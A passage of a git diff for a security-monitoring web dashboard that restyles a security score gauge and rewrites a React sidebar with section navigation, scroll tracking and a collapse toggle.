60deg, - #f39c12 120deg, - #27ae60 180deg, - #ecf0f1 180deg - ); - transform: rotate(-90deg); + background: conic-gradient(from 270deg, #b42318 0deg, #c2410c 60deg, #b7790b 120deg, #047857 180deg, transparent 180deg); } -.gauge-fill { +.security-score-card .gauge-fill { position: absolute; - width: 150px; - height: 150px; - border-radius: 50%; - background: conic-gradient( - from -90deg, - #27ae60 0deg, - #27ae60 var(--rotation, 0deg), - transparent var(--rotation, 0deg) - ); - transform-origin: center; - transition: transform 0.5s ease-out; + left: 73px; + bottom: 75px; + width: 4px; + height: 74px; + border-radius: 2px; + background: #172b45; + transform-origin: 50% 100%; } -.gauge-cover { +.security-score-card .gauge-cover { position: absolute; - top: 50%; - left: 50%; - transform: translate(-50%, -50%); - width: 120px; - height: 120px; + top: 18px; + left: 18px; + width: 114px; + height: 114px; border-radius: 50%; - background: white; - display: flex; - justify-content: center; - align-items: center; + background: #fff; + padding-top: 14px; + text-align: center; } -.gauge-value { - font-size: 2.5rem; - font-weight: 700; - color: #2c3e50; +.security-score-card .gauge-value { + font-size: 2.25rem; + line-height: 1.2; + font-weight: 650; + font-variant-numeric: tabular-nums; + color: #172b45; } -.score-label { +.security-score-card .score-label { text-align: center; - font-size: 1.25rem; - font-weight: 600; - margin-top: 0.5rem; - transition: color 0.3s; + font-size: 0.8125rem; + font-weight: 650; + margin-top: 8px; } diff --git a/web/src/components/SecurityScore.tsx b/web/src/components/SecurityScore.tsx index eb7d029..5bfc4f6 100644 --- a/web/src/components/SecurityScore.tsx +++ b/web/src/components/SecurityScore.tsx @@ -8,10 +8,10 @@ interface SecurityScoreProps { const SecurityScore: React.FC = ({ score }) => { const getScoreColor = (score: number): string => { - if (score >= 80) return '#27ae60'; // Green - if (score >= 60) return '#f39c12'; // Orange - if (score >= 40) return '#e67e22'; // Dark Orange - return '#e74c3c'; // Red + if (score >= 80) return '#047857'; // Green + if (score >= 60) return '#92400e'; // Orange + if (score >= 40) return '#c2410c'; // Dark Orange + return '#b42318'; // Red }; const getScoreLabel = (score: number): string => { @@ -28,7 +28,7 @@ const SecurityScore: React.FC = ({ score }) => { Security Score

-
+
diff --git a/web/src/components/Sidebar.css b/web/src/components/Sidebar.css index 0bd26a3..46ba8f1 100644 --- a/web/src/components/Sidebar.css +++ b/web/src/components/Sidebar.css @@ -1,48 +1,160 @@ .sidebar { + display: flex; + flex-direction: column; + flex: 0 0 220px; width: 220px; - min-height: 100vh; - background: #1f2937; - color: #f9fafb; - padding: 20px 16px; + height: 100vh; position: sticky; top: 0; + align-self: flex-start; + overflow-y: auto; + background: #182536; + color: #f8fafc; + padding: 28px 16px; } -.sidebar-brand { +.sidebar .sidebar-brand { display: flex; align-items: center; - gap: 10px; - font-size: 1.1rem; + gap: 12px; + margin: 0 8px 36px; + font-size: 1.25rem; font-weight: 700; - margin-bottom: 20px; + letter-spacing: -0.025em; } -.sidebar-logo { - width: 39px; - height: 39px; +.sidebar .sidebar-logo { + width: 36px; + height: 36px; object-fit: contain; + flex-shrink: 0; + /* The artwork is a black silhouette; the sidebar is dark, so draw it white. */ + filter: brightness(0) invert(1); } -.sidebar-nav { +.sidebar .sidebar-nav { display: flex; flex-direction: column; - gap: 10px; + gap: 6px; } -.sidebar-nav a { - color: #d1d5db; +.sidebar .sidebar-nav a { + display: flex; + align-items: center; + gap: 12px; + min-height: 44px; + padding: 10px 12px; + border-radius: 6px; + color: #becbdc; text-decoration: none; - padding: 8px 10px; + font-size: 0.875rem; + font-weight: 500; +} + +.sidebar .sidebar-nav svg { + flex-shrink: 0; +} + +.sidebar .sidebar-nav a:hover { + background: #24364d; + color: #fff; +} + +.sidebar .sidebar-nav a[aria-current='location'] { + background: #2b4566; + color: #fff; +} + +.sidebar .sidebar-nav a:focus-visible { + outline: 2px solid #a8caff; + outline-offset: 2px; +} + +.sidebar .sidebar-toggle { + display: flex; + align-items: center; + gap: 12px; + min-height: 44px; + margin-top: auto; + padding: 10px 12px; + border: 1px solid #45566d; border-radius: 6px; + background: transparent; + color: #becbdc; + font-size: 0.8125rem; + text-align: left; +} + +.sidebar .sidebar-toggle svg { + flex-shrink: 0; } -.sidebar-nav a:hover { - background: #374151; +.sidebar .sidebar-toggle:hover { + background: #24364d; color: #fff; } -@media (max-width: 992px) { +.sidebar .sidebar-toggle:focus-visible { + outline: 2px solid #a8caff; + outline-offset: 2px; +} + +@media (min-width: 992px) { + .sidebar.sidebar-collapsed { + flex-basis: 68px; + width: 68px; + padding: 28px 10px; + } + + .sidebar.sidebar-collapsed .sidebar-brand { + justify-content: center; + margin-inline: 0; + } + + .sidebar.sidebar-collapsed .sidebar-brand-title, + .sidebar.sidebar-collapsed .sidebar-link-label { + display: none; + } + + .sidebar.sidebar-collapsed .sidebar-nav a, + .sidebar.sidebar-collapsed .sidebar-toggle { + justify-content: center; + gap: 0; + padding-inline: 8px; + } +} + +@media (max-width: 991.98px) { .sidebar { + position: static; + flex: none; + width: 100%; + height: auto; + padding: 16px 24px; + } + + .sidebar .sidebar-brand { + margin: 0 0 16px; + } + + .sidebar .sidebar-nav { + flex-direction: row; + flex-wrap: wrap; + gap: 4px; + } + + .sidebar .sidebar-toggle { display: none; } } + +@media (max-width: 575.98px) { + .sidebar { + padding: 16px 12px; + } + + .sidebar .sidebar-nav { + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + } +} diff --git a/web/src/components/Sidebar.tsx b/web/src/components/Sidebar.tsx index c1be24b..bdddd69 100644 --- a/web/src/components/Sidebar.tsx +++ b/web/src/components/Sidebar.tsx @@ -1,27 +1,104 @@ -import React from 'react'; +import React, { useEffect, useState } from 'react'; +import logoUrl from '../assets/logo.png'; import './Sidebar.css'; -const DASHBOARD_LOGO_URL = 'https://github.com/user-attachments/assets/0c8a9216-8315-4ef7-9b73-d96c40521ed1'; +const links = [ + { id: 'overview', label: 'Overview', path: 'M3 3h7v7H3z M14 3h7v7h-7z M3 14h7v7H3z M14 14h7v7h-7z' }, + { id: 'threat-map', label: 'Threat Map', path: 'M12 3 3 7v5c0 5 9 9 9 9s9-4 9-9V7l-9-4Z M7 12h3l2-4 2 8 2-4h2' }, + { id: 'alerts', label: 'Alerts', path: 'M18 8a6 6 0 0 0-12 0c0 7-3 7-3 9h18c0-2-3-2-3-9 M10 21h4' }, + { id: 'containers', label: 'Containers', path: 'm12 3 9 5v9l-9 5-9-5V8l9-5Z M3 8l9 5 9-5 M12 13v9 M7.5 5.5l9 5' }, +]; + +const sectionFromHash = () => { + const hash = window.location.hash.split('/')[0] || '#overview'; + return hash === '#threats' ? '#threat-map' : hash; +}; const Sidebar: React.FC = () => { + const [activeSection, setActiveSection] = useState(sectionFromHash); + const [collapsed, setCollapsed] = useState(false); + + useEffect(() => { + const updateFromScroll = () => { + const sections = links.map(({ id }) => document.getElementById(id)) + .filter((section): section is HTMLElement => section !== null); + if (!sections.length) return; + + const atBottom = window.scrollY > 0 && + Math.ceil(window.scrollY + window.innerHeight) >= document.documentElement.scrollHeight; + const section = atBottom + ? sections[sections.length - 1] + : [...sections].reverse().find(item => item.getBoundingClientRect().top <= 96) || sections[0]; + setActiveSection(`#${section.id}`); + }; + const updateFromHash = () => setActiveSection(sectionFromHash()); + // Dashboard sections arrive after the API response; their heights also + // change when alerts and containers finish loading or filters are applied. + const observer = new ResizeObserver(updateFromScroll); + observer.observe(document.body); + window.addEventListener('scroll', updateFromScroll, { passive: true }); + window.addEventListener('resize', updateFromScroll); + window.addEventListener('hashchange', updateFromHash); + updateFromScroll(); + + return () => { + observer.disconnect(); + window.removeEventListener('scroll', updateFromScroll); + window.removeEventListener('resize', updateFromScroll); + window.removeEventListener('hashchange', updateFromHash); + }; + }, []); + + const navigateToSection = (event: React.MouseEvent, id: string) => { + if (event.metaKey || event.ctrlKey || event.shiftKey || event.altKey) return; + const section = document.getElementById(id); + if (!section) return; + event.preventDefault(); + const hash = `#${id}`; + if (window.location.hash !== hash) window.history.pushState(null, '', hash); + setActiveSection(hash); + section.scrollIntoView({ + behavior: window.matchMedia('(prefers-reduced-motion: reduce)').matches ? 'auto' : 'smooth', + block: 'start', + }); + }; + return ( -